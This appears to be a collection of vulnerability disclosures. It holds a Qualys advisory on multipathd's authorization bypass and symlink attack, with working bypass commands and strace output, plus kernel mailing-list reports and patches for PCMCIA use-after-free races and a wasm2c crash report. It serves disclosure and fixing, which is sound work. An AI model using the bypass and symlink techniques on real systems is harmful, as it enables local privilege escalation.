The Qualys Research Team has discovered authorization bypass and symlink vulnerabilities in multipathd. The authorization bypass was introduced in version 0.7.0 and the symlink vulnerability was introduced in version 0.7.7.

    Qualys Security AdvisoryLeeloo Multipath: Authorization bypass and symlink attack in multipathd(CVE-2022-41974 and CVE-2022-41973)========================================================================Contents========================================================================SummaryCVE-2022-41974: Authorization bypassCVE-2022-41973: Symlink attackAcknowledgmentsTimeline========================================================================Summary========================================================================We discovered two local vulnerabilities (an authorization bypass and asymlink attack) in multipathd, a daemon that is running as root in thedefault installation of (for example) Ubuntu Server:https://ubuntu.com/server/docs/device-mapper-multipathing-introductionhttps://github.com/opensvc/multipath-toolsWe combined these two vulnerabilities with a third vulnerability, inanother package that is also installed by default on Ubuntu Server, andobtained full root privileges on Ubuntu Server 22.04; other releases areprobably also exploitable. We will publish this third vulnerability, andthe complete details of this local privilege escalation, in an upcomingadvisory.The authorization bypass (CVE-2022-41974) was introduced in February2017 (version 0.7.0) by commit 9acda0c ("Perform socket client uid checkon IPC commands"), but earlier versions perform no authorization checksat all: any unprivileged local user can issue any privileged command tomultipathd.The symlink attack (CVE-2022-41973) was introduced in May 2018 (version0.7.7) by commit 65d0a63 ("functions to indicate mapping failure in/dev/shm"); the vulnerable code was hardened significantly in May 2020(version 0.8.5) by commit 40ee3ea ("simplify failed wwid code"), but itremains exploitable nonetheless.========================================================================CVE-2022-41974: Authorization bypass========================================================================The multipathd daemon listens for client connections on an abstract Unixsocket (conveniently, the multipathd binary itself can act as a client,if executed with non-option arguments; we use this feature extensivelyin this advisory to connect and send commands to the multipathd daemon):------------------------------------------------------------------------$ ps -ef | grep 'multipath[d]'root         377       1  0 13:55 ?        00:00:00 /sbin/multipathd -d -s$ ss -l -x | grep 'multipathd'u_str LISTEN 0      4096        @/org/kernel/linux/storage/multipathd 18105------------------------------------------------------------------------The commands sent by a client to multipathd are composed of keywords,and internally, each keyword is identified by a different bit; forexample, "list" is 1 (1<<0), "add" is 2 (1<<1), and "path" (whichrequires a parameter) is 65536 (1<<16):------------------------------------------------------------------------155 load_keys (void)...163         r += add_key(keys, "list", LIST, 0);164         r += add_key(keys, "show", LIST, 0);165         r += add_key(keys, "add", ADD, 0);...183         r += add_key(keys, "path", PATH, 1);------------------------------------------------------------------------ 53 #define LIST            (1ULL << __LIST) 54 #define ADD             (1ULL << __ADD) .. 69 #define PATH            (1ULL << __PATH)------------------------------------------------------------------------  6 enum {  7         __LIST,                 /*  0 */  8         __ADD, .. 23         __PATH,------------------------------------------------------------------------In turn, each command is associated with a handler (a C function) by itsfingerprint -- the bitwise OR of its constituent keywords; for example,the command "list path PARAM" is associated with cli_list_path() by thefingerprint 65537 (LIST+PATH=1+65536), and the command "add path PARAM"is associated with cli_add_path() by the fingerprint 65538(ADD+PATH=2+65536):------------------------------------------------------------------------1522 void init_handler_callbacks(void)....1527         set_handler_callback(LIST+PATH, cli_list_path);....1549         set_handler_callback(ADD+PATH, cli_add_path);------------------------------------------------------------------------321 static uint64_t322 fingerprint(const struct _vector *vec)...325         uint64_t fp = 0;...331         vector_foreach_slot(vec, kw, i)332                 fp += kw->code;333 334         return fp;------------------------------------------------------------------------ 89 static struct handler * 90 find_handler (uint64_t fp) .. 95         vector_foreach_slot (handlers, h, i) 96                 if (h->fingerprint == fp) 97                         return h; 98  99         return NULL;------------------------------------------------------------------------When multipathd receives a command from a client, it first performs anauthentication check and an authorization check (both at line 491):------------------------------------------------------------------------431 static int client_state_machine(struct client *c, struct vectors *vecs,...485         case CLT_PARSE:486                 c->error = parse_cmd(c);487                 if (!c->error) {...491                         if (!c->is_root && kw->code != LIST) {492                                 c->error = -EPERM;...495                         }496                 }497                 if (c->error)...501                 else502                         set_client_state(c, CLT_WORK);...522         case CLT_WORK:523                 c->error = execute_handler(c, vecs);------------------------------------------------------------------------- Authentication: if the client's UID (obtained from SO_PEERCRED) is 0  (i.e., if is_root is true), then the client is privileged; otherwise,  it is unprivileged.- Authorization: if the client is privileged, it is allowed to execute  any commands; otherwise, only unprivileged LIST commands are allowed  (i.e., commands whose first keyword is either "list" or "show").Attentive readers may have noticed that multipathd does not, in fact,calculate the fingerprint of a command by bitwise-ORing its constituentkeywords, but by arithmetic-ADDing them (at line 332). While these twooperations are equivalent if no keyword is repeated, we (attackers) cansend a seemingly unprivileged command (whose first keyword is "list")but whose fingerprint matches a privileged command (by repeating the"list" keyword): we can exploit this flaw to bypass multipathd'sauthorization check.For example, we are not allowed to execute "add path PARAM" (whosefingerprint is 2+65536=65538) because the first keyword is not "list",but we are allowed to execute the equivalent "list list path PARAM"(whose fingerprint is also 1+1+65536=65538, instead of 1|1|65536=65537)because the first keyword is "list" (the multipathd daemon below replies"blacklisted" because PARAM is an invalid path, not because the commandis denied):------------------------------------------------------------------------$ multipathd add path PARAMpermission deny: need to be root$ multipathd list list path PARAMblacklisted------------------------------------------------------------------------This authorization bypass greatly enlarges the attack surface ofmultipathd: 34 privileged command handlers become available to localattackers, in addition to the 23 unprivileged command handlers that arenormally available. We audited only a few of these command handlers,because we quickly discovered a low-hanging vulnerability (a symlinkattack) in one of them.========================================================================CVE-2022-41973: Symlink attack========================================================================multipathd operates insecurely, as root, in /dev/shm (a sticky,world-writable directory similar to /tmp). The vulnerable code (inmark_failed_wwid()) may be executed during the normal lifetime ofmultipathd, but a local attacker can force its execution by exploitingthe authorization bypass CVE-2022-41974; for example, by adding a"whitelisted, unmonitored" device to multipathd:------------------------------------------------------------------------$ multipathd list devices | grep 'whitelisted, unmonitored'    sda1 devnode whitelisted, unmonitored    ...$ multipathd list list path sda1fail------------------------------------------------------------------------This command, which is equivalent to "add path sda1", results in thefollowing system-call trace (strace) of the multipathd daemon:------------------------------------------------------------------------386 openat(AT_FDCWD, "/dev/shm/multipath/failed_wwids", O_RDONLY|O_DIRECTORY) = -1 ENOENT (No such file or directory)387 mkdir("/dev", 0700)                     = -1 EEXIST (File exists)388 mkdir("/dev/shm", 0700)                 = -1 EEXIST (File exists)389 mkdir("/dev/shm/multipath", 0700)       = 0390 mkdir("/dev/shm/multipath/failed_wwids", 0700) = 0391 openat(AT_FDCWD, "/dev/shm/multipath/failed_wwids", O_RDONLY|O_DIRECTORY) = 12392 getpid()                                = 375393 openat(12, "VBOX_HARDDISK_VB60265ca5-df119cb6.177", O_RDONLY|O_CREAT|O_EXCL, 0400) = 13394 close(13)                               = 0395 linkat(12, "VBOX_HARDDISK_VB60265ca5-df119cb6.177", 12, "VBOX_HARDDISK_VB60265ca5-df119cb6", 0) = 0396 unlinkat(12, "VBOX_HARDDISK_VB60265ca5-df119cb6.177", 0) = 0397 close(12)                               = 0------------------------------------------------------------------------- at line 389, the directory "/dev/shm/multipath" is created, if it does  not exist already;- at line 390, the directory "/dev/shm/multipath/failed_wwids" is  created, if it does not exist already;- at lines 391-397, the empty file  "/dev/shm/multipath/failed_wwids/VBOX_HARDDISK_VB60265ca5-df119cb6" is  created, if it does not exist already (its name is the "World Wide ID"  of the added device).multipathd is therefore vulnerable to two different symlink attacks:1/ if we (attackers) create an arbitrary symlink "/dev/shm/multipath",then we can create a directory named "failed_wwids" (user root, grouproot, mode 0700) anywhere in the filesystem;2/ if we create an arbitrary symlink "/dev/shm/multipath/failed_wwids",then we can create a file named "VBOX_HARDDISK_VB60265ca5-df119cb6"(user root, group root, mode 0400, size 0) anywhere in the filesystem.These two symlink attacks are very weak, because we do not control thename, user, group, mode, or contents of the directory or file that wecreate; only its location. Despite these limitations, we were able tocombine multipathd's vulnerabilities (authorization bypass and symlinkattack) with a third vulnerability (in another package), and obtainedfull root privileges on Ubuntu Server 22.04; we will publish this thirdvulnerability in an upcoming advisory.Side note: initially, we thought that the symlink attack 1/ would fail,because /dev/shm is a sticky world-writable directory, and the kernel'sfs.protected_symlinks is 1 by default; to our great surprise, however,it succeeded. Eventually, we understood that only the final component ofa path is protected, not its intermediate components; for example, if/tmp/foo is a symlink, then an access to /tmp/foo itself is protected,but an access to /tmp/foo/bar is not. Interestingly, this weakness wasalready pointed out in 2017 by Solar Designer, and the originalOpenwall, grsecurity, and Yama protections are not affected:https://www.openwall.com/lists/kernel-hardening/2017/06/06/74========================================================================Acknowledgments========================================================================We thank Martin Wilck and Benjamin Marzinski for their hard work on thisrelease, and the SUSE Security Team for their help with this disclosure.We also thank the members of linux-distros@openwall.========================================================================Timeline========================================================================2022-08-24: Advisory sent to security@suse.2022-10-10: Advisory and patches sent to linux-distros@openwall.2022-10-24: Coordinated Release Date (15:00 UTC).

Leeloo Multipath Authorization Bypass / Symlink Attack

An issue was discovered in the Linux kernel through 6.0.6. drivers/char/pcmcia/cm4000_cs.c has a race condition and resultant use-after-free if a physically proximate attacker removes a PCMCIA device while calling open(), aka a race condition between cmm_open() and cm4000_detach().

From: Hyunwoo Kim <imv4bel@gmail.com>
To: Arnd Bergmann <arnd@arndb.de>,
	laforge@gnumonks.org, gregkh@linuxfoundation.org
Cc: "Ilpo Järvinen" <ilpo.jarvinen@linux.intel.com>,
	linux-kernel@vger.kernel.org,
	"Dominik Brodowski" <linux@dominikbrodowski.net>,
	"Paul Fulghum" <paulkf@microgate.com>,
	akpm@osdl.org, imv4bel@gmail.com
Subject: Re: \[PATCH\] pcmcia: synclink\_cs: Fix use-after-free in mgslpc\_ioctl()
Date: Wed, 14 Sep 2022 19:08:34 -0700	\[thread overview\]
Message-ID: <20220915020834.GA110086@ubuntu> (raw)
In-Reply-To: <a8a9fd74-4ee5-4619-8492-be7139e6d48e@www.fastmail.com\>

The previous mailing list is here:
https://lore.kernel.org/lkml/20220913052020.GA85241@ubuntu/#r

There are 3 other pcmica drivers in the path "drivers/char/pcmcia/synclink\_cs.c", 
the path of the "synclink\_cs.c" driver I reported the UAF to.
A similar UAF occurs in the "cm4000\_cs.c" and "cm4040\_cs.c" drivers. 
(this does not happen in scr24x\_cs.c)

The flow of UAF occurrence in cm4040\_cs.c driver is as follows:
\`\`\`
                cpu0                                                cpu1
       1. open()
          cm4040\_open()
                                                             2. reader\_detach()
                                                                reader\_release()
                                                                cm4040\_reader\_release()
                                                                while (link->open) { ...
       3. link->open = 1;
                                                             4. kfree(dev);
                                                                device\_destroy()
       5. read()   <- device\_destroy() was called, but read() can be called because fd is open
          cm4040\_read()
          int iobase = dev->p\_dev->resource\[0\]->start;   <- UAF
\`\`\`
In cm4040\_open() function, link->open is set to 1.
And in the .remove callback reader\_detach() function, if link->open is 1, 
cm4040\_close() is called and wait()s until link->open becomes 0.
However, if the above race condition occurs in these two functions, 
the link->open check in reader\_detach() can be bypassed.
After that, you can call read() on the task that acquired fd to raise a 
UAF for the kfree()d "dev".


The flow of UAF occurrence in cm4000\_cs.c driver is as follows:

\`\`\`
                cpu0                                                cpu1
       1. open()
          cmm\_open()
                                                             2. cm4000\_detach()
                                                                stop\_monitor()
                                                                if (dev->monitor\_running) { ...
       3. start\_monitor()
          dev->monitor\_running = 1;
                                                             4. cm4000\_release()
                                                                cmm\_cm4000\_release()
                                                                while (link->open) { ...
       5. link->open = 1;
                                                             6. kfree(dev);
                                                                device\_destroy()
       7. read()   <- device\_destroy() was called, but read() can be called because fd is open
          cmm\_read()
          unsigned int iobase = dev->p\_dev->resource\[0\]->start;   <- UAF
\`\`\`
In the cm4000\_cs.c driver, the race condition flow is tricky because of 
the start/stop\_monitor() functions.

The overall flow is similar to cm4040\_cs.c.
Added one race condition to bypass the "dev->monitor\_running" check.


So, should the above two drivers be removed from the kernel like the synclink\_cs.c driver?

Or should I submit a patch that fixes the UAF?


Best Regards,
Hyunwoo Kim.

next prev parent reply	other threads:\[~2022-09-15  2:08 UTC|newest\]

**Thread overview:** 10+ messages / expand\[flat|nested\]  mbox.gz  Atom feed  top
2022-09-13  5:20 \[PATCH\] pcmcia: synclink\_cs: Fix use-after-free in mgslpc\_ioctl() Hyunwoo Kim
2022-09-13 14:59 \` Arnd Bergmann
2022-09-13 15:14   \` Paul Fulghum
2022-09-13 15:43     \` Hyunwoo Kim
**2022-09-15  2:08   \` Hyunwoo Kim \[this message\]**
2022-09-15  7:35     \` Arnd Bergmann
2022-09-15  8:02       \` Dominik Brodowski
2022-09-15  9:00         \` Hyunwoo Kim
2022-09-16  5:03         \` Hyunwoo Kim
2022-09-15 14:05       \` Harald Welte

**Reply instructions:**

You may reply publicly to this message via plain-text email
using any one of the following methods:

\* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting\_style#Interleaved\_style

\* Reply using the **\--to**, **\--cc**, and **\--in-reply-to**
  switches of git-send-email(1):

  git send-email \\
    --in-reply-to=20220915020834.GA110086@ubuntu \\
    --to=imv4bel@gmail.com \\
    --cc=akpm@osdl.org \\
    --cc=arnd@arndb.de \\
    --cc=gregkh@linuxfoundation.org \\
    --cc=ilpo.jarvinen@linux.intel.com \\
    --cc=laforge@gnumonks.org \\
    --cc=linux-kernel@vger.kernel.org \\
    --cc=linux@dominikbrodowski.net \\
    --cc=paulkf@microgate.com \\
    /path/to/YOUR\_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

\* If your mail client supports setting the **In-Reply-To** header
  via mailto: links, try the mailto: link

Be sure your reply has a **Subject:** header at the top and a blank line before the message body.

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).

CVE-2022-44032: Re: [PATCH] pcmcia: synclink_cs: Fix use-after-free in mgslpc_ioctl()

An issue was discovered in the Linux kernel through 6.0.6. drivers/char/pcmcia/scr24x_cs.c has a race condition and resultant use-after-free if a physically proximate attacker removes a PCMCIA device while calling open(), aka a race condition between scr24x_open() and scr24x_remove().

From: Hyunwoo Kim <imv4bel@gmail.com>
To: lkundrak@v3.sk
Cc: linux-kernel@vger.kernel.org, imv4bel@gmail.com, arnd@arndb.de,
	gregkh@linuxfoundation.org, linux@dominikbrodowski.net
Subject: \[PATCH v5\] char: pcmcia: scr24x\_cs: Fix use-after-free in scr24x\_fops
Date: Mon, 19 Sep 2022 03:18:25 -0700	\[thread overview\]
Message-ID: <20220919101825.GA313940@ubuntu> (raw)

A race condition may occur if the user physically removes the
pcmcia device while calling open() for this char device node.

This is a race condition between the scr24x\_open() function and
the scr24x\_remove() function, which may eventually result in UAF.

So, add a mutex to the scr24x\_open() and scr24x\_remove() functions
to avoid race contidion of krefs.

Signed-off-by: Hyunwoo Kim <imv4bel@gmail.com>
Reported-by: kernel test robot <lkp@intel.com>
---
v2: fixed issue using dev's member mutex which can be freed after kref\_put()
v3: fixed using "removed" member of dev that could be freed after kref\_put()
v4: fix issue referencing uninitialized dev in scr24x\_open() function
v5: Fix patch reporting email format
---
 drivers/char/pcmcia/scr24x\_cs.c | 73 +++++++++++++++++++++++----------
 1 file changed, 52 insertions(+), 21 deletions(-)

diff --git a/drivers/char/pcmcia/scr24x\_cs.c b/drivers/char/pcmcia/scr24x\_cs.c
index 1bdce08fae3d..039d44ee0ebe 100644
--- a/drivers/char/pcmcia/scr24x\_cs.c
+++ b/drivers/char/pcmcia/scr24x\_cs.c
@@ -33,6 +33,7 @@
 
 struct scr24x\_dev {
 	struct device \*dev;
+	struct pcmcia\_device \*p\_dev;
 	struct cdev c\_dev;
 	unsigned char buf\[CCID\_MAX\_LEN\];
 	int devno;
@@ -42,15 +43,31 @@ struct scr24x\_dev {
 };
 
 #define SCR24X\_DEVS 8
\-static DECLARE\_BITMAP(scr24x\_minors, SCR24X\_DEVS);
+static struct pcmcia\_device \*dev\_table\[SCR24X\_DEVS\];
+static DEFINE\_MUTEX(remove\_mutex);
 
 static struct class \*scr24x\_class;
 static dev\_t scr24x\_devt;
 
 static void scr24x\_delete(struct kref \*kref)
 {
\-	struct scr24x\_dev \*dev = container\_of(kref, struct scr24x\_dev,
-								refcnt);
+	struct scr24x\_dev \*dev = container\_of(kref, struct scr24x\_dev, refcnt);
+	struct pcmcia\_device \*link = dev->p\_dev;
+	int devno;
+
+	for (devno = 0; devno < SCR24X\_DEVS; devno++) {
+		if (dev\_table\[devno\] == link)
+			break;
+	}
+	if (devno == SCR24X\_DEVS)
+		return;
+
+	device\_destroy(scr24x\_class, MKDEV(MAJOR(scr24x\_devt), dev->devno));
+	mutex\_lock(&dev->lock);
+	pcmcia\_disable\_device(link);
+	cdev\_del(&dev->c\_dev);
+	dev->dev = NULL;
+	mutex\_unlock(&dev->lock);
 
 	kfree(dev);
 }
@@ -73,11 +90,24 @@ static int scr24x\_wait\_ready(struct scr24x\_dev \*dev)
 
 static int scr24x\_open(struct inode \*inode, struct file \*filp)
 {
\-	struct scr24x\_dev \*dev = container\_of(inode->i\_cdev,
-				struct scr24x\_dev, c\_dev);
+	struct scr24x\_dev \*dev;
+	struct pcmcia\_device \*link;
+	int minor = iminor(inode);
+
+	if (minor >= SCR24X\_DEVS)
+		return -ENODEV;
+
+	mutex\_lock(&remove\_mutex);
+	link = dev\_table\[minor\];
+	if (link == NULL) {
+		mutex\_unlock(&remove\_mutex);
+		return -ENODEV;
+	}
 
+	dev = link->priv;
 	kref\_get(&dev->refcnt);
 	filp->private\_data = dev;
+	mutex\_unlock(&remove\_mutex);
 
 	return stream\_open(inode, filp);
 }
@@ -232,24 +262,31 @@ static int scr24x\_config\_check(struct pcmcia\_device \*link, void \*priv\_data)
 static int scr24x\_probe(struct pcmcia\_device \*link)
 {
 	struct scr24x\_dev \*dev;
\-	int ret;
+	int i, ret;
+
+	for (i = 0; i < SCR24X\_DEVS; i++) {
+		if (dev\_table\[i\] == NULL)
+			break;
+	}
+
+	if (i == SCR24X\_DEVS)
+		return -ENODEV;
 
 	dev = kzalloc(sizeof(\*dev), GFP\_KERNEL);
 	if (!dev)
 		return -ENOMEM;
 
\-	dev->devno = find\_first\_zero\_bit(scr24x\_minors, SCR24X\_DEVS);
-	if (dev->devno >= SCR24X\_DEVS) {
-		ret = -EBUSY;
-		goto err;
-	}
+	dev->devno = i;
 
 	mutex\_init(&dev->lock);
 	kref\_init(&dev->refcnt);
 
 	link->priv = dev;
+	dev->p\_dev = link;
 	link->config\_flags |= CONF\_ENABLE\_IRQ | CONF\_AUTO\_SET\_IO;
 
+	dev\_table\[i\] = link;
+
 	ret = pcmcia\_loop\_config(link, scr24x\_config\_check, NULL);
 	if (ret < 0)
 		goto err;
@@ -282,8 +319,8 @@ static int scr24x\_probe(struct pcmcia\_device \*link)
 	return 0;
 
 err:
\-	if (dev->devno < SCR24X\_DEVS)
-		clear\_bit(dev->devno, scr24x\_minors);
+	dev\_table\[i\] = NULL;
+
 	kfree (dev);
 	return ret;
 }
@@ -292,15 +329,9 @@ static void scr24x\_remove(struct pcmcia\_device \*link)
 {
 	struct scr24x\_dev \*dev = (struct scr24x\_dev \*)link->priv;
 
\-	device\_destroy(scr24x\_class, MKDEV(MAJOR(scr24x\_devt), dev->devno));
-	mutex\_lock(&dev->lock);
-	pcmcia\_disable\_device(link);
-	cdev\_del(&dev->c\_dev);
-	clear\_bit(dev->devno, scr24x\_minors);
-	dev->dev = NULL;
-	mutex\_unlock(&dev->lock);
-
+	mutex\_lock(&remove\_mutex);
 	kref\_put(&dev->refcnt, scr24x\_delete);
+	mutex\_unlock(&remove\_mutex);
 }
 
 static const struct pcmcia\_device\_id scr24x\_ids\[\] = {

base-commit: 521a547ced6477c54b4b0cc206000406c221b4d6
-- 
2.25.1

                 reply	other threads:\[~2022-09-19 10:26 UTC|newest\]

**Thread overview:** \[no followups\] expand\[flat|nested\]  mbox.gz  Atom feed

**Reply instructions:**

You may reply publicly to this message via plain-text email
using any one of the following methods:

\* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting\_style#Interleaved\_style

\* Reply using the **\--to**, **\--cc**, and **\--in-reply-to**
  switches of git-send-email(1):

  git send-email \\
    --in-reply-to=20220919101825.GA313940@ubuntu \\
    --to=imv4bel@gmail.com \\
    --cc=arnd@arndb.de \\
    --cc=gregkh@linuxfoundation.org \\
    --cc=linux-kernel@vger.kernel.org \\
    --cc=linux@dominikbrodowski.net \\
    --cc=lkundrak@v3.sk \\
    /path/to/YOUR\_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

\* If your mail client supports setting the **In-Reply-To** header
  via mailto: links, try the mailto: link

Be sure your reply has a **Subject:** header at the top and a blank line before the message body.

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).

CVE-2022-44034: [PATCH v5] char: pcmcia: scr24x_cs: Fix use-after-free in scr24x_fops

An issue was discovered in the Linux kernel through 6.0.6. drivers/char/pcmcia/cm4040_cs.c has a race condition and resultant use-after-free if a physically proximate attacker removes a PCMCIA device while calling open(), aka a race condition between cm4040_open() and reader_detach().

From: Hyunwoo Kim <imv4bel@gmail.com>
To: laforge@gnumonks.org
Cc: linux-kernel@vger.kernel.org, imv4bel@gmail.com, arnd@arndb.de,
	gregkh@linuxfoundation.org, linux@dominikbrodowski.net
Subject: \[PATCH v3\] char: pcmcia: cm4040\_cs: Fix use-after-free in reader\_fops
Date: Sun, 18 Sep 2022 21:04:57 -0700	\[thread overview\]
Message-ID: <20220919040457.GA302681@ubuntu> (raw)

A race condition may occur if the user physically removes the pcmcia
device while calling open() for this char device node.

This is a race condition between the cm4040\_open() function and the
reader\_detach() function, which may eventually result in UAF.

So, add a refcount check to reader\_detach() to free the "dev" structure
after the char device node is close()d.

Signed-off-by: Hyunwoo Kim <imv4bel@gmail.com>
---
 drivers/char/pcmcia/cm4040\_cs.c | 50 +++++++++++++++++++++++----------
 1 file changed, 35 insertions(+), 15 deletions(-)

diff --git a/drivers/char/pcmcia/cm4040\_cs.c b/drivers/char/pcmcia/cm4040\_cs.c
index 827711911da4..bb9116d81890 100644
--- a/drivers/char/pcmcia/cm4040\_cs.c
+++ b/drivers/char/pcmcia/cm4040\_cs.c
@@ -59,6 +59,7 @@ static DEFINE\_MUTEX(cm4040\_mutex);
 /\* how often to poll for fifo status change \*/
 #define POLL\_PERIOD 				msecs\_to\_jiffies(10)
 
+static void cm4040\_delete(struct kref \*kref);
 static void reader\_release(struct pcmcia\_device \*link);
 
 static int major;
@@ -73,6 +74,7 @@ struct reader\_dev {
 	wait\_queue\_head\_t	poll\_wait;
 	wait\_queue\_head\_t	read\_wait;
 	wait\_queue\_head\_t	write\_wait;
+	struct kref		refcnt;
 	unsigned long 	  	buffer\_status;
 	unsigned long     	timeout;
 	unsigned char     	s\_buf\[READ\_WRITE\_BUFFER\_SIZE\];
@@ -102,6 +104,28 @@ static inline unsigned char xinb(unsigned short port)
 }
 #endif
 
+static void cm4040\_delete(struct kref \*kref)
+{
+	struct reader\_dev \*dev = container\_of(kref, struct reader\_dev, refcnt);
+	struct pcmcia\_device \*link = dev->p\_dev;
+	int devno;
+
+	/\* find device \*/
+	for (devno = 0; devno < CM\_MAX\_DEV; devno++) {
+		if (dev\_table\[devno\] == link)
+			break;
+	}
+	if (devno == CM\_MAX\_DEV)
+		return;
+
+	reader\_release(link);
+
+	dev\_table\[devno\] = NULL;
+	kfree(dev);
+
+	device\_destroy(cmx\_class, MKDEV(major, devno));
+}
+
 /\* poll the device fifo status register.  not to be confused with
  \* the poll syscall. \*/
 static void cm4040\_do\_poll(struct timer\_list \*t)
@@ -442,6 +466,7 @@ static int cm4040\_open(struct inode \*inode, struct file \*filp)
 		return -ENODEV;
 
 	mutex\_lock(&cm4040\_mutex);
+
 	link = dev\_table\[minor\];
 	if (link == NULL || !pcmcia\_dev\_present(link)) {
 		ret = -ENODEV;
@@ -468,8 +493,11 @@ static int cm4040\_open(struct inode \*inode, struct file \*filp)
 
 	DEBUGP(2, dev, "<- cm4040\_open (successfully)\\n");
 	ret = nonseekable\_open(inode, filp);
+
+	kref\_get(&dev->refcnt);
 out:
 	mutex\_unlock(&cm4040\_mutex);
+
 	return ret;
 }
 
@@ -495,6 +523,9 @@ static int cm4040\_close(struct inode \*inode, struct file \*filp)
 	wake\_up(&dev->devq);
 
 	DEBUGP(2, dev, "<- cm4040\_close\\n");
+
+	kref\_put(&dev->refcnt, cm4040\_delete);
+
 	return 0;
 }
 
@@ -584,6 +615,7 @@ static int reader\_probe(struct pcmcia\_device \*link)
 	init\_waitqueue\_head(&dev->read\_wait);
 	init\_waitqueue\_head(&dev->write\_wait);
 	timer\_setup(&dev->poll\_timer, cm4040\_do\_poll, 0);
+	kref\_init(&dev->refcnt);
 
 	ret = reader\_config(link, i);
 	if (ret) {
@@ -600,22 +632,10 @@ static int reader\_probe(struct pcmcia\_device \*link)
 static void reader\_detach(struct pcmcia\_device \*link)
 {
 	struct reader\_dev \*dev = link->priv;
\-	int devno;
-
-	/\* find device \*/
-	for (devno = 0; devno < CM\_MAX\_DEV; devno++) {
-		if (dev\_table\[devno\] == link)
-			break;
-	}
-	if (devno == CM\_MAX\_DEV)
-		return;
-
-	reader\_release(link);
-
-	dev\_table\[devno\] = NULL;
-	kfree(dev);
 
\-	device\_destroy(cmx\_class, MKDEV(major, devno));
+	mutex\_lock(&cm4040\_mutex);
+	kref\_put(&dev->refcnt, cm4040\_delete);
+	mutex\_unlock(&cm4040\_mutex);
 
 	return;
 }
-- 
2.25.1

Dear,


I fixed the wrong patch referencing "dev" after kref\_put() in the previous version of the patch.


Regards,
Hyunwoo Kim.

                 reply	other threads:\[~2022-09-19  4:05 UTC|newest\]

**Thread overview:** \[no followups\] expand\[flat|nested\]  mbox.gz  Atom feed

**Reply instructions:**

You may reply publicly to this message via plain-text email
using any one of the following methods:

\* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting\_style#Interleaved\_style

\* Reply using the **\--to**, **\--cc**, and **\--in-reply-to**
  switches of git-send-email(1):

  git send-email \\
    --in-reply-to=20220919040457.GA302681@ubuntu \\
    --to=imv4bel@gmail.com \\
    --cc=arnd@arndb.de \\
    --cc=gregkh@linuxfoundation.org \\
    --cc=laforge@gnumonks.org \\
    --cc=linux-kernel@vger.kernel.org \\
    --cc=linux@dominikbrodowski.net \\
    /path/to/YOUR\_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

\* If your mail client supports setting the **In-Reply-To** header
  via mailto: links, try the mailto: link

Be sure your reply has a **Subject:** header at the top and a blank line before the message body.

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).

CVE-2022-44033: [PATCH v3] char: pcmcia: cm4040_cs: Fix use-after-free in reader_fops

wasm2c v1.0.29 was discovered to contain an abort in CWriter::Write.

**Environment**

    OS      : Linux ubuntu 5.15.0-46-generic #49~20.04.1-Ubuntu SMP Thu Aug 4 19:15:44 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
    Commit  : 3054d61f703d609995798f872fc86b462617c294
    Version : 1.0.29
    Build   : make clang-debug-asan
    

**Proof of concept**

poc\_wasm2c-1.wasm  
poc\_wasm2c-1.wasm.zip

**Stack dump**

    gdb /wabt/out/clang/Debug/asan/wasm2c
    pwndbg> r  --enable-multi-memory ./poc_wasm2c-1.wasm
    context:
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    ─────────────────────────────────[ REGISTERS ]──────────────────────────────────
     RAX  0x0
    *RBX  0x7ffff7a357c0 ◂— 0x7ffff7a357c0
    *RCX  0x7ffff7a7b00b (raise+203) —▸ 0x10824848b48 ◂— 0x0
     RDX  0x0
    *RDI  0x2
    *RSI  0x7fffffff6990 ◂— 0x0
     R8   0x0
    *R9   0x7fffffff6990 ◂— 0x0
    *R10  0x8
    *R11  0x246
    *R12  0x43e420 (_start) ◂— endbr64
    *R13  0x7fffffffe070 ◂— 0x3
     R14  0x0
     R15  0x0
    *RBP  0x7fffffff88f0 —▸ 0x7fffffff8930 —▸ 0x7fffffffa650 —▸ 0x7fffffffa690 —▸ 0x7fffffffc3c0 ◂— ...
    *RSP  0x7fffffff6990 ◂— 0x0
    *RIP  0x7ffff7a7b00b (raise+203) —▸ 0x10824848b48 ◂— 0x0
    ───────────────────────────────────[ DISASM ]───────────────────────────────────
     ► 0x7ffff7a7b00b <raise+203>    mov    rax, qword ptr [rsp + 0x108]
       0x7ffff7a7b013 <raise+211>    xor    rax, qword ptr fs:[0x28]
       0x7ffff7a7b01c <raise+220>    jne    raise+260                <raise+260>
        ↓
       0x7ffff7a7b044 <raise+260>    call   __stack_chk_fail                <__stack_chk_fail>
    
       0x7ffff7a7b049                nop    dword ptr [rax]
       0x7ffff7a7b050 <killpg>       endbr64
       0x7ffff7a7b054 <killpg+4>     test   edi, edi
       0x7ffff7a7b056 <killpg+6>     js     killpg+16                <killpg+16>
    
       0x7ffff7a7b058 <killpg+8>     neg    edi
       0x7ffff7a7b05a <killpg+10>    jmp    kill                <kill>
    
       0x7ffff7a7b05f <killpg+15>    nop
    ───────────────────────────────────[ STACK ]────────────────────────────────────
    00:0000│ rsi r9 rsp 0x7fffffff6990 ◂— 0x0
    01:0008│            0x7fffffff6998 ◂— '(ut)(x))unimplemented: %'
    02:0010│            0x7fffffff69a0 ◂— 'unimplemented: %'
    03:0018│            0x7fffffff69a8 ◂— 'ented: %'
    04:0020│            0x7fffffff69b0 ◂— 0x0
    ... ↓               3 skipped
    ─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
     ► f 0   0x7ffff7a7b00b raise+203
       f 1   0x7ffff7a5a859 abort+299
       f 2         0x52769e
       f 3         0x5315c3
       f 4         0x52760d
       f 5         0x5315c3
       f 6         0x52760d
       f 7         0x51dd51
    ────────────────────────────────────────────────────────────────────────────────
    
    backtrace_msg:
